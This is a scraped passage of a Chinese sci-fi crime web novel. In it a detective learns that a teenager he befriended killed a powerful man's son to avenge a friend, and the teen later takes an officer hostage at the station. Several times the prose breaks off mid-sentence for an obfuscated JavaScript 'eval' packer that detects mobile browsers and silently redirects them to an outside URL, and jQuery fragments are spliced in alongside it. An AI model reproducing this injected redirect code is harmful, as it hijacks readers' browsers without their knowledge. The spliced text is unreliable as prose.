何首席出门之前最后看了一眼闻铮，眼神里还是带着同情。 这么年轻有为的alpha，怎么就异食癖了呢…… …… 闻铮在短短几天的时间里，第三次来到这座桥上。 他站在桥边，垂眼看着不停东流的蓟梨河，在黑夜的笼罩下好像能吞噬一切，也包括活生生的人。 裴简珩找到了陆辰林，以一种很刁钻的方式。 ——他去查了那段时间里的紧急呼救记录。 在欧赫的律师联系了陆辰林之后，不知道他到底说了些什么，能让这个在疲于奔命的生活中仍对未来有着可期之念的少年，在深夜的天桥上纵身一跃，跳入蓟梨河中，再也没能睁开眼睛。 而毁了他人生的罪魁祸首，却仍在此后的一年多时间里肆无忌惮地过着随心所欲的舒坦日子。 陆辰林的尸体被捕捞上来，在现场签字领走遗体的人，就是向星苑。 不知道为什么，这条死亡信息没有被登记进系统里，是现场的疏漏吗？还是后续谁的隐秘操作？ 总而言之，他们两个人的关系浮出水面，但闻铮并不高兴。 蓟梨河边的风比较大，一阵风吹过，闻铮还打了个喷嚏。 而顺着河边冷风一同吹上来的，还有不远处的争执声。 闻铮听到一个耳熟的声音，他循声定睛一看，只剩下无语了。 “你放开我！我不做你的生意！” 金发瘦弱的少年奋力挣扎，他的小臂被攥在一个人高马大的艾尼默男人手里，男人的手掌较常人来说更加厚实多毛，是熊属人。 男人冷笑：“你他妈出来卖的还挑上客人了？” 少年虽然身高只到他的肩膀，但丝毫没有怯色：“你出钱，我挣钱，谁比谁高贵？我就是不做你的生意，你给我滚！” 男人怒目圆睁，高高举起拳头就要朝他砸下来！ 少年躲避不及，但也不肯求饶，倔强地闭上眼睛等着拳头的来临，就像此前的很多次一样—— “差不多得了。” 微微沙哑的声音响起，原本火药味十足的燥热场景瞬间降温几度。 少年悄悄睁开一点眼睛，那只敦实的右手正停在半空中，被另一只瘦削的手牢牢地攥住，动弹不得。 少年对上来人的眼神，眼睛蹭的一下亮起来。 闻铮那双漆黑的眼睛中流露出的冷峻之意，如冰刃一般落在男人身上：“你这只手再敢往下伸一厘米，我就把它拧下来，不信你试试。” 男人痛得闷哼一声，厉声：“你他妈是谁？！管老子的闲事？！” 闻铮手上一用力，艾尼默男人立刻大叫起来，完全没有刚才恃强凌弱的嚣张气焰。 “滚吧。” 闻铮看到男人忙不迭地点头，这才松手，对后者怨毒的眼神视而不见，这种眼神他见到的太多，早就不当回事了。 男人走了以后，闻铮才转过身来无奈地看着少年：“第三面了，戈维。” 戈维看着他，像一只蓬头垢面，眼睛却亮闪闪的小狗。 闻铮注意到戈维的小臂受伤了，不算严重，但也还在持续流血，应该是刚才争执中刮到的。 “去医院。”闻铮道，“你需要消毒和包扎。” 戈维摇头：“我没有钱，也没有联邦医疗保险。” 闻铮说：“我有。” 戈维歪头：“那你要和我——” “好了！”闻铮头痛地把他后面的话打断，他真是怕了这位小朋友，“那我送你回家，买点消毒用品替你简单处理一下。” 这次戈维没有拒绝。 上了闻铮的悬浮车之后，戈维东摸摸西看看，显然对悬浮车很新奇也很感兴趣。 闻铮没有制止，漫不经心地问：“你开过车吗？” “开过，”戈维兴冲冲，“偷来的。” 闻铮：“……” ……稍等一下。 闻铮虽然有些啼笑皆非，职业道德暂时下班，毕竟他只抓德瓦人，偷车不在他的工作职责之内。 “但那个只是地面车，”戈维有些遗憾，“不是你这种悬浮车。诶，那你的车可以上高空吗？” “可以。” 闻铮问了戈维家的地址，中间有一段路可以走高空，还更快一点。 闻铮按下高空申请键，一秒钟后机械女声响起：“请求允许，高空七段交通畅通，请于十秒钟内起飞驶入高空路段。” 五秒钟后，悬浮车腾空而起。 戈维趴在车窗上，眼睛一眨不眨地看着下面的景象，过了好一会儿，轻轻地问：“闻，你说在星舰上看到的宇宙景观，是不是会更美？” 握着方向盘的手攥得更紧，紧到骨节突出，青筋毕露。 戈维好久都没听到他的回应，方才反应过来：“是哦，你也只是个普通人，又没上过星舰，你怎么会知道。” 闻铮这次淡淡地“嗯”了一声。 戈维转过头来，笑得很开心：“那我希望我下辈子可以做舰长，你能来当我的大副吗？” 闻铮：“……” 他笑了一下，伸手把悬浮车落地：“下车了，戈维舰长。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 27. 第27章 把柄 闻铮来过这里。 西五区第六大街和第七大街交汇处，是7号星出名的四大贫民区之一，这里也算是艾尼默人的小型聚集地，超过九成都是艾尼默人。 街灯一闪一闪，还有一盏灭了以后就再也没亮起来。现在又下着淅淅沥沥的小雨，地面的泥泞混杂着污水让人难以下脚。 戈维习以为常，但……他的目光移到闻铮身上，突然就局促了起来。 他总觉得眼前这个人应该离这种脏乱环境远远的才对。 闻铮感受到他偷偷摸摸的余光，伸手呼噜一下戈维的头发：“乱瞟什么。” 戈维吐了吐舌头，哒哒哒地跑前面带路了。 再绕过两条暗巷，戈维在一栋五层的老旧小楼前停住脚步，带着闻铮爬上了三楼。 闻铮一边上楼一边观察，这栋楼应该是很早以前被德瓦人殖民时期盖的临时安置楼，里面的动线和建造标准完全不符合任何消防规定，按照联邦通用法律来说是不允许居住的。 然而，在这里挣扎生活的人，都没有什么别的选择，7号星的相关部门为了减少街道上看得见的流浪者，也就选择睁只眼闭只眼了。 金发少年打开了一扇破破烂烂的门，那扇门破旧到打开的时候颤颤巍巍，还会发出长达六秒且断断续续的吱呀声，声音一响起，闻铮就感觉自己的大脑正在被电钻入侵。 这样的门在同一层楼里有二十六扇，这种密集的人口密度佐以巨大的消防安全隐患，很难让人不捏把汗。 戈维从门后对他探出了头：“快进来！” 等闻铮踏进房门以后，戈维环视了一圈这个简陋的环境，又有些垂头丧气地耷拉脑袋：“我家比较穷，你——” 闻铮只是问：“有药箱吗？” 戈维点点头，开始翻找药箱，闻铮不动声色地四处打量，在看到明显属于女孩子的发夹和化妆品时顿了一下：“你不是一个人住？” “还有我的妹妹。”戈维轻轻说，“这个时间她应该还在便利店打工。” 闻铮转过身，看到破旧的门板背后被贴了很多张照片、海报或是已经泛黄的明信片，都是其他星球的风景照。 “你去过这些地方吗？”闻铮一边仔细看着那些照片一边问，“这里面有的地方已经不是洛河星系了。” “怎么可能！” 藏在柜子深处的药箱终于被戈维挖出来了，他拎着药箱凑回到闻铮身边：“这些都是我们从星网上打印出来的，或者二手市场上淘来的。” 他的眼睛里面有很单纯的光：“虽然我这辈子是没可能离开7号星了，但我真的很想去外面看看。” “——你看这里！我们最喜欢这里！” 戈维兴奋的双颊微红，指给了闻铮看其中一张明信片，是阳光很好的海边，金色的沙滩和淡紫色的海，在阳光下显得晶莹剔透，宛如童话世界一般。 “这是副3星系的克里斯托星球。”闻铮笑了一下，“你们很会选，克里斯托星球光照很好，风景很美，非常适合度假。” “咦？你怎么知道？” 戈维奇怪地看他：“这里离副3星很远很远，三个月才有一个星际航渡呢，而且只运物资不运人的。” 闻铮怎么会不知道，悬空号追着德瓦人打过了多少个星系，虽然每次都是执行任务，没有闲心去玩，但这些大大小小的星球他基本都踏足过。 当然了，他没有和戈维解释，只是接过了药箱开始给小朋友的胳膊上药。 房间里一片寂静，只有戈维伤口被消毒时候发出的吸气声。 “以后有什么需要帮忙的就联系我。”闻铮帮他消毒好，拍了拍他的胳膊肘，小朋友瘦的有点吓人，骨架身量和个子高点的女孩子都差不多了，“上次给你的联系方式还在吗？” 戈维捧着被系着一个夸张蝴蝶结的绷带胳膊乖乖点头。 闻铮垂眼看着他，心底某个角落里的恻隐之心动了一下，他知道自己在也许没有办法让这个星球上的所有人都变得更好，但起码他还可以力所能及地为某些人做点什么。 “这个送给你。” 戈维眼前出现了一把手掌长度的短匕，在这个科技高速发达的时代，已经很少能见到这种单纯的冷兵器了。 短匕看上去平平无奇，冷灰的色调，只在把手上雕刻了一个像蛇一样的花纹，看不清是W还是S还是M。 戈维讷讷地接过来，耳边回响着闻铮的话。 “大部分人也许会建议你远离麻烦，明哲保身。” “但我知道你可以从苦难里变得更强大，只有活着，一切才有希望。” …… 闻铮没有久坐，包扎好伤口就告辞离开。 他一边下楼一边在心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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通讯那边响起了罗斯警长的二重音：“调度中心收到。西五区第四大道267号为公租房，隶属政府资产。目前通过援助住房项目出租给卫余英，女，42岁，艾尼默豹属人，和十二岁的女儿谢容一起生活。” 闻铮听完，敏锐地察觉到了不对劲的地方：“谢容的父亲呢？” 28. 第28章 怎么会是他？ 罗斯警长停顿一秒钟，找到资料后补充：“谢容的父亲是卫余英的合法丈夫，谢运霖，艾尼默豹属人，于十年前被卫余英登记为失踪人口，至今没有找到。” 失踪？ 那这和裴简珩又有什么关系？ 罗斯警长听闻铮没有后续反应，追问道：“是否需要将西五区第四大道267号登记为可疑信息？” “不用了，谢谢。” 闻铮没有登记在案，道谢之后就关掉了通讯。在掌握更多信息以前他并不想打草惊蛇。 闻铮在房子对面的阴影处等了一会儿，直到卫余英熄灯拉好窗帘，很明显开始休息了，他才宛如一道影子般悄无声息地窜到了正门，戴上随身揣的黑手套，在快递下面翻找了一会儿，最后抽出了一个厚厚的纸袋子。 纸袋子有封口，强行打开会留下痕迹。 闻铮在纸袋子外面摸了摸形状，根本不用拆开，他一伸手就知道了，里面是联邦星币现金。 这个厚度，至少有十五万星币。 十五万星币是什么概念？ 在联邦首都星，十五万星币可能只够舒舒服服活半年，而在7号星，这笔钱足够卫余英带着谢容离开公租房和贫民区，在一般的居民区买个小小的房子，再找个普通的工作养活自己了。 这笔钱是一个底层的艾尼默家庭走向普通生活的基石。 而裴简珩就这样在一个深夜，怀揣着大额星币现金前来——要知道在目前这个时代，几乎没有人会用现金，除非是为了躲避被追踪。 他将如此可观的一笔钱放在了一对要依靠政府救济的母女家门口，然后悄无声息地离开，为什么？ 闻铮把纸袋子放了回去，把一切都恢复到最开始的样子，顺着阴影处悄然离开。 他好像知道要从哪里切入了。 …… 而在闻铮离开卫余英家门口的五分钟后，在另一个方向的二百米处，一个银发的高大身影从转角处走了出来，最后深深望了一眼那栋房子和闻铮的背影，方才紧了紧风衣外套，转身消失在黑暗里。 …… 闻铮走了以后，戈维坐在沙发上发呆。 他想到了那座天桥，又想到了蓟梨河冰冷的河水，一会儿记起了那八千星币拿在手里的重量，一会儿又恍惚看到了金色的沙滩和淡紫色的海水，最后脑海中的画面定格在那个晚上，黑发黑眼的Alpha和他说的那句话。 “你需要的不是一定要去做警官或军官，你需要的是变强，强大到可以保护别人。” 变强？我还能怎么变强？ 这辈子难道不是已经这样了吗？ 在我暗淡的前半生里，唯一照过我的光源被熄灭了，而第二束光，来得又太晚了。 在这毫无价值的人生里，他还有能做的一件事，就那么一件事，他一定要做完。 戈维想到那个一身黑色西装还戴着黑色覆面的人，他在给自己东西的时候说过…… ……只有这样做，才能真正地结束这一切。 门又发出了颤颤巍巍的吱呀声，在吱呀声之下的，是另一个轻柔的嗓音：“戈维，我们还……按照原计划做吗？” 戈维把目光从缠着绷带的手臂上移开，他的声音冷静得近乎像人工智能：“做，明天上午10:15，我们在舱里见。” 他们三个人的梦想，总要有一个人达成才行。 …… 第二天，闻铮踏进办公室，其他人都已经到了。 他状若无事地扫过一眼银发Alpha，后者正在看通讯的悬浮屏，看上去精神抖擞，一点都看不出昨天大半夜还在贫民区晃悠送钱。 这时候通讯响了，是何首席的信息。 闻铮扫了一眼，微微蹙眉，不知道是该松口气还是该叹一口气。 裴简珩看似眼神在悬浮屏上，实则闻铮的脚步声刚在楼梯上响起，他两双耳朵已经竖起来了，远超常人的五感让他能很清楚地分辨闻铮的脚步声，离老远裴简珩就知道是他来了。 这时候看闻铮神色异样，裴简珩仗着自己的位置离他近，凑过去轻声问：“怎么了？有什么我能做的吗？” 闻铮倒是也没有瞒着他，反正人是他们两个一起带回来的：“欧睿死亡现场的生物信息不是向星苑的，不匹配。” “什么？”裴简珩一怔：“那……还能是谁？” “你问我？你是我上司？”闻铮没好气，“现场生物信息和数据库里的匹配还没有出来吗？” 习惯了首都星的高科技水准前沿技术的裴简珩无言，他确实是有苦说不出，这7号星的破系统真的需要升级了，匹配一个数据库信息还要这么多天。 裴简珩刚张开嘴发出第一个音节，就被通讯的提示音打断，悬浮屏上跳出了一个大大的红底白字框——匹配。 匹配？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16361216|183689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀了欧睿的那个白衣服女孩虽然不是向星苑，但是有前科在犯罪系统里？ 他们都愣住了，裴简珩伸手把悬浮屏捞过来，喃喃念道：“匹配对象戈维.斯坦利，17岁，Beta，最新居住地西五区第六大街163号……这是谁？怎么总觉得有点耳熟……” 戈维.斯坦利…… 戈维…… 17岁…… 闻铮如遭雷击，仿佛一盆冷水兜头而下！ 他几乎是从裴简珩手中把悬浮屏抢过来的，上面正停留在戈维.斯坦利被此前被逮捕时的登记照。 金发、碧眼、和右边眼角下那块小小的疤。 不是重名，竟然真的是他……怎么会是他？！ 戈维？！ 是他杀了欧睿？！ 但他……他和欧睿有什么关系？就算是他动的手……为什么？ 闻铮迫切地往下滑动屏幕，直到看到了一个名字，才猛地刹停手腕。 戈维那次案底是因为聚众斗殴的指控被刑拘，在保释人的那一栏，赫然写着陆辰林的名字。 闻铮缓缓闭上双眼。 在这一瞬间，在看到陆辰林名字的一瞬间，他想通了一切。 他和戈维第一次相遇，在所谓的乌龙过后，戈维神色黯然，说了一句：“你永远也想不到，下定决心要离开的人会在什么时间、用何种方式离开。” 第二次在同样的地点，戈维望着蓟梨河黑不见底的河水，说：“我离不开这里。” 在他的这些言语和痛苦之下紧紧藏着的那个人，竟然是陆辰林。 现在想来，闻铮在阴差阳错之下，三次都去到了当年陆辰林跳河自杀的地方，才会撞见了每天都去那里思念陆辰林的戈维。 这个17岁的小朋友，瘦弱的肩膀上到底都背负着什么。 “我就说这个名字我在哪里听到过！” 裴简珩又分裂出一块悬浮屏，递给闻铮：“还记得向星苑曾经被抓过吗？因为偷了三块面包和一把水果刀引发的盗窃罪和故意伤人罪。” 闻铮看向他，虽然不知道他为什么在此刻提及，但也还是轻轻颔首。 裴简珩也和闻铮刚才做的动作一样，把悬浮屏向下滑动，同样停在了保释人的一栏上。 在向星苑的保释人一栏，写的是戈维.斯坦利。 两块悬浮屏放在一起，三个年轻小朋友的名字也紧紧挨在一起。 29. 第29章 你认识他？ 其他人刚才也闻声凑了过来，在听到了裴简珩和闻铮的对话以后，一时之间都在沉默地暗自梳理这里面的关系。 江悦举手提出了一个问题：“可是电子眼的画面显示，不管是在酒吧门口还是案发的巷子口，和欧睿在一起的都是一个艾尼默兔属女孩子啊？戈维是人类Beta！” “这都是可以伪装的。” 裴简珩摇了摇头，他把戈维和向星苑逮捕记录里的身高体重信息都拉了出来：“从身形数据来看，戈维的身材确实更符合监控画面里的那个’艾尼默人’。” “说得对，之所以我们此前认为那是艾尼默兔属女孩，是因为画面里有兔属特征，”林瑜淞指了指画面上的小小兔耳，“穿着裙子，身材又很瘦小。但现在看来，生物信息不会有错，这个人不是向星苑，是戈维。” “……” 裴简珩有些懊恼：“我当时觉得哪里不对，但没有想到这点。现在一看，画面里这个人的身架骨骼，以及走路仪态，确实不像女性。” 当时明明察觉出了哪里不对，怎么就没顺着再想一想！ “不怪你，”凯利斯拍拍他的肩膀，“画面这么模糊，我们都没看出来。但欧睿离他那么近，都要贴上去了，他也没发现哪里异样？” “你也不看看他喝了多少。”江悦冷笑一声，“走路都要走不直了，戈维塞点假体，从黑市搞个假的艾尼默兔耳特征，他能看出来个屁啊。” 戴维尔话少，不怎么参与讨论，只是指了指画面：“戈维从欧睿的车上下来，浑身是血地上了另一辆车。要我说，这个开车带他逃离的人，应该才是向星苑。” 画面里只有车辆驶离的一角，但能看出来开的歪歪扭扭，明显司机要么是喝多了，要么其实不怎么会开车。 而这辆车…… 它的车牌号可以勉强看清，之前戴维尔在系统里查过，它在欧睿死之前一天被车主上报丢失了。 “可他为什么要这么做？”江悦皱眉，“戈维.斯坦利为什么要装作艾尼默人？难道他不知道这样会让人怀疑到向星苑头上吗？” “他只是个没成年的青少年。”林瑜淞摇头，“他不知道曾经那次轻罪的逮捕会让他的生物信息被录入信息库中。而如果没有这个生物信息，其实这反而是最保险的办法——他和向星苑都不会被查到。” 江悦恍然——对啊！就算查到录像里的人是向星苑又怎么样？现场的生物信息和向星苑完全不符合，只要她拒不承认，谁能拿她怎么办？ 这种看似“张冠李戴”的做法，反而会引起混乱，留给他们自己一线生机。 他们在这里讨论新的发展，而闻铮在一旁，看着戈维的照片沉默。 事到如今，他心里很清楚，是为了陆辰林报仇也好，还是为了保护向星苑也好，戈维一定就是杀了欧睿的那个人。 只是…… 裴简珩注意到了闻铮的沉默，虽然他脸上没有流露出任何异样的神色，他还是能从闻铮那张凌厉的面容之下窥视到他内心的波动。 从看到戈维的信息以后，闻铮就不太对劲了。 除了他们两个认识以外，裴简珩想不到其他的原因。 不、不止是认识。 闻铮这个表现，很明显是他心里的天平在摇摆。 受害者一方因为得不到正义的伸张，而变成了复仇者和加害者。 ……然后呢？ 凯利斯转向闻铮请示：“闻哥，我去联系池检察官开逮捕令，拿到以后直接把戈维和向星苑都带过来？” 闻铮下意识地捏了捏指尖，转瞬之间他已经想好了解决办法，沉声道：“先不用联系池亭，你和我现在去找戈维，我希望这件事在有我的命令之前，不要再有任何其他人知道。” 这么多人里，闻铮直直地看向了裴简珩。 裴简珩坦然迎着他冷冷的目光，全盘接收了其中蕴含的威胁，然后轻轻颔首。 他知道为什么闻铮会拒绝找池亭签发逮捕令。 一旦下了逮捕令，那就要进到系统记录里。 只要进了系统，欧赫就有权限看到。 他儿子还活着的时候，他为了保护欧睿，都能滥用特权做了那么多事，一旦欧赫现在发现闻铮他们找到了嫌疑人，恨意上头，他还能做出什么事情来，谁都无法预测。 同样的，他也知道闻铮为什么在这么多人里，唯独看向他。 他是空降的，他是新来的，他是这一屋子人里面目前唯一不被闻铮信任的那一个。 但裴简珩也不傻，他知道，这也是他能走近闻铮、被他真心认可的最好机会。 他一定会抓住。 另一边，凯利斯闻言一愣，他不会反对闻铮的任何决定，但他会提醒闻铮他预见到的风险点：“闻哥，如果没有逮捕令，戈维是没必要一定跟我们回来的——” “他会的。” 闻铮的声音听起来又恢复了他一贯的冷静和沉稳，“他只是一个被逼到绝路的孩子，他不是冷酷无情的杀人狂，我会找到办法解决这件事情。” 裴简珩看向他，闻铮那双漆黑的眼瞳里正闪着如枪般冷峻的光。 “——在这么多被他毁掉的人生里，欧睿休想成为唯一得到正义的那个人。” …… 凯利斯坐进闻铮的悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16361217|183689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浮车副驾，把戈维的地址调出来：“戈维最近的地址在——” “不用了，我知道他家在哪里。” 闻铮打断他，把车发动起来，几乎是超速20%地在高空路段行驶。 凯利斯没忍住：“闻哥，你真的认识他？” “机缘巧合，见过三次。”闻铮淡淡道。 凯利斯认识闻铮也挺久了，他们都从星际舰队的底层做起，一起吃了很多苦。而闻铮爬到舰长位置后的第一件事，就是提拔凯利斯做了他的大副。 林瑜淞、戴维尔和江悦对闻铮又敬又怕，但他不一样。 他感激闻铮，也了解闻铮，他很清楚闻铮狠绝的手腕是怎样被逼出来的，也知道在他冷峻凌厉的外貌和狠辣决绝的行事之下，隐藏着的是一颗怎样的心， 所以他看到闻铮这个样子，就猜到他要做什么了。 但…… “欧赫不会放过戈维的。”金发青年叹了口气，“他是这个落后星球上权力最大的特权阶级之一，越落后的地方，金字塔的层级越显著，这种人的权力越大。只要他想，他有一万种方式让戈维、甚至向星苑一起为他的儿子偿命。” “我知道。” “我想不到任何合法的手段可以规避欧赫的动作，我不觉得你能想到。” “嗯。” “……嗯？嗯什么嗯？所以你到底——”凯利斯差点被闻铮的敷衍气死，下一刻闻铮突然急停，他的脸都快砸到前玻璃了。 “咦这么快到了？……这不是你家吗？” 凯利斯看了看窗外，愣住。 闻铮只匆匆扔下一句在车里等我，就打开车门跑进了公寓大门，留下凯利斯在车里一边龇牙咧嘴、一边揉着被磕到的前额无语。 ——只是这位被他从心里认可的人，最擅长的就是一个人扛下所有谋划和重担，除非迫不得已，绝不会让其他人和他一起下坠。 …… 随着电梯的上升，闻铮已经在心里做出了决断。 法律代表了正义与公正，所以玩弄了法律的一方，不值得再得到法律的庇护。 他通过瞳孔扫描打开了房门，无视γ的询问，径直走到卧室里，在床头柜的侧边摸了三下。 三下之后，面对着床的墙上有一幅风景画，悄无声息的挪开了。 在风景画的背后，是一个暗格。而在暗格的里面，是一个银色的古老保险箱。 闻铮用指纹打开了它，里面是一箱子的联邦星币现金。 十分钟后，闻铮怀揣着一个纸盒子离开了。 再十分钟后，闻铮和凯利斯到达了西五区第六大街163号。 30. 第30章 怎么就不能，再等等 短短一天之内，这是闻铮第二次踏进这个不符合居住规范的破烂大楼。 他带着凯利斯来到了戈维的家门口，抬手敲响了房门。 门里没有任何动静。 “戈维，你在家吗？我是闻。” 依然没有任何动静。 闻铮微微蹙眉，他们没有逮捕令，按理来说不能强行破门而入—— “吱呀呀呀呀啊——” 那种电钻入脑的声音又出现了，不止是闻铮，凯利斯听到这个声音都下意识地龇牙咧嘴。 “你们找小戈维？他走啦。” 一个苍老的声音缓缓从旁边传来，是戈维的邻居，是一个看上去头发都已经花白的艾尼默老太太。 闻铮一怔，他转向老太太，轻声询问：“走了？什么时候走的？” “也就十五分钟以前吧。” 闻铮又问：“他的妹妹呢？也不在家吗？” “哦，苑苑呀，苑苑是阿林的妹妹，但现在也就剩下她和小戈维相依为命啦。”老太太摇了摇头，“苑苑比他还早走呢。” 凯利斯看了看时间，问闻铮：“这个时间，是不是上班去了？” “傻孩子，”老太太伸手打了一下凯利斯，力气还挺大，给人高马大的凯利斯都打疼了，“上什么班，我都说走啦！走啦！” 走？ 闻铮突然明白过来，上前一步：“他们走了？再也不回来了？” “对呀，”老太太说，“钥匙都给我留下了，说我需要什么都可以自己去里面拿呢。哎，可怜的两个孩子，离开这个伤心地也是好事。” 闻铮借了钥匙打开门进去，房间和昨天晚上一模一样，戈维和向星苑什么都没有带走。 他的视线扫过门板背面，上面依然被贴着满满的风景照，只少了一张。 少了那张金色沙滩和淡紫色的海。 可他们能去哪里？ 联邦法律规定，跨星球追缉的最小单位是星系，而一方面7号星的系外星渡价格高昂到离谱，绝对不是这两个孩子能负担得起的；另一方面，18岁之前的未成年人，法律禁止他们独自进行跨星系迁移。 ……除非偷渡。 跟着运往其他星系的物资星舰一起，藏身在整个星舰的最底层。手脚伸不开，在没有光亮的黑暗里蜷缩着，为了不被生物探测仪发现，连呼吸都要刻意放轻，也不能睡着，以免控制不住声音和气息，就这样睁着眼睛，等。 闻铮摸了摸兜里的纸袋子，在心里叹气。 怎么就不能，再等等。 他的通讯在此时响了起来，显示是调度号码。 “闻指挥官，”接通以后是罗斯警长，“欧赫议员在线上找您通话。” 闻铮道：“跟他说我没空。” 通讯结束以后的三分钟内，闻铮的终端又响了五次。 是陌生ID，但闻铮知道是谁，他一个都没接。 他开始庆幸戈维和向星苑已经走了，欧赫肯定是派人盯着和欧睿相关的所有证据的动向，系统里一旦出现了生物匹配记录，欧赫就知道了。 再晚一点，他们就走不成了。 通讯第六次在手腕上震动，闻铮皱着眉刚要按掉，却发现是林瑜淞。 “闻哥，你们得快点回来，这边出事了。” “——是裴简珩。” …… 闻铮和凯利斯走了以后，裴简珩也在思忖很多。 和凯利斯的想法一样，他也想不到任何合法的手段能让正义的巨轮回归到原位，但闻铮说他能想到办法。 想也知道，这不会是什么合规的手段。 闻铮现在的状态比在第三军团和中转星那一夜还要差，他整个人也变得更凌厉更疯。 他正在高空孤独地走钢索，而钢索的另一头是什么，除了闻铮自己以外，没人知道。 但裴简珩想知道。 他想更靠近闻铮，更了解他，能陪着他，能和他并肩站在一起，哪怕是两个人一起悬在钢索上，他也愿意。 他还能再为他做些什么？ 裴简珩想到一半，罗斯警长来信息让他下去前台补一些入职手续，他刚到一楼，看到罗斯警长的调度台前面站着一个瘦弱的身影，正在仰头和他说着什么。 裴简珩脚步一顿。 这不是…… 罗斯警长低头看着这个金发少年：“你好，请重复一遍你刚才的话，我没有捕捉到。” 一楼确实很嘈杂，不知道是不是帮派调查组又端了什么团伙，乌泱乌泱地都凑到了一楼，说话全靠喊。 “我……见……” 罗斯警长还是没有捕捉到，他微微俯下身把自己嵌在耳朵里的收音孔朝来人凑近了些许。 裴简珩不动声色地靠近了他们，他比罗斯警长这个人工智能的听力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16361218|183689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还要敏锐，罗斯警长没听到的话，他都听到了。 他心下一惊，目光隐晦地扫过来人浑身上下，在他的右侧裤兜里看到了枪支的轮廓，左侧裤兜里鼓鼓囊囊的并不知道是什么。 裴简珩在三秒之内分析了周围的环境，他大概能猜到戈维带着武器来这里干什么，只要他想，他可以在眨眼之间把这个瘦弱的金发少年脸朝下地按在地上。 但他知道，闻铮不会想他这样做。 他自己也并不想这样做。 那就只有一个办法——让戈维得到他想要的。 戈维看着罗斯警长凑过来的脸，甚至有些着急地踮起了脚，但下一秒就被一个人高马大的Alpha警官一把推开：“罗斯警长！我刚给你的那份报告里——” 另外好几个警官也挤了过来：“三楼的临时关押室人都已经满了，我需要五楼的权限！” “五楼也满了，你得带着这帮人去七楼南侧了兄弟。” “我操，七楼南边也放不下这么多——” “砰——！” 在吵吵嚷嚷的空间里，突然平地里迸发出一声枪响！ 在场的非警人员全都尖叫抱头，而警部人员下意识地拔枪对准了枪响来源，只是他们在看到这个胆大包天到敢在警局里开枪的人之后都愣住了。 ——一个金发的少年，刚对准承重墙开了一枪，现在又牢牢挟持了一个银发Alpha，他甚至没有被他挟持的人高大，让这一幕看起来有些滑稽。 然而就算这个身高差再滑稽，也没有人能笑得出来，因为他手里的枪口正紧紧挨着银发Alpha的心口处。 戈维的握着枪的手在抖，裴简珩能感受到，哪怕隔着衣服，自己心口处的皮肤都快要被灼热的枪口烫伤。 戈维垂下了眼，似乎无法承受四周那些对准他的枪口。 而顷刻以后，他又高高地仰起了头，声线冷静得吓人：“现在，可以听我说话了吗？” 罗斯警长作为人工智能，他的智脑里已经被预先安装好了这种类似情况的处理方式。 他先是触发了1-5紧急情况预案，然后从他的调度台后面走了出来，轻声询问：“请冷静，您需要说什么？” 戈维看着他那张一半类人一半机械的面孔，几乎是咬着后槽牙一字一顿地说：“……欧赫。” “让欧赫来见我，二十分钟内，我要在这里见到他。” 30-40 第31章 你想怎么做？ 戈维说出这句话后, 现场陷入了一片沉默。 一屋子的人面面相觑，他们显然不知道，为什么这个瘦弱的金发少年拿着枪——甚至还是古老的子弹枪, 而不是相位枪——走进这里, 然后还挟持了一个Alpha，最终目的是为了让一个地位崇高的下一届星长赶到这里。 罗斯警长的目光从戈维身上移到裴简珩脸上，这个被挟持的新人脸上没有任何惊慌, 只是平静地注视回来。 罗斯警长问：“裴中校？” 裴简珩道：“我建议按照他的想法来。” 顿了一下，他又说：“在此之前，还麻烦先通知一下我的指挥官。” 戈维环视了一圈，现在他们正处于一楼大堂的最中心, 这个没有任何遮挡和隐私的空间让他的心里空落落的, 没有安全感, 也让他握着枪的手开始微微颤抖。 趁着罗斯警长去联络欧赫的时候，裴简珩以一种只有他们两个人能听到的音量说：“挟持我去后门，那里有一个小房间, 是旧更衣室，没有任何监控和窃听设备。” 戈维先是一怔, 随后更用力地抓住裴简珩的手臂，厉声问：“我凭什么相信你？！” 裴简珩反问：“你还有别的选择吗？” 戈维语塞。 裴简珩又道：“你也不傻。我快比你高出二十公分，如果我想动手，你真的以为你能控制住我吗？” 戈维这次是真的沉默了，他确实不傻。 刚才暴起的那一瞬间的肾上腺素已经消散, 他却怎么也记不起来了——自己刚才是把这么高大的一个Alpha挟持到手里的？ 除非是……他自己配合的。 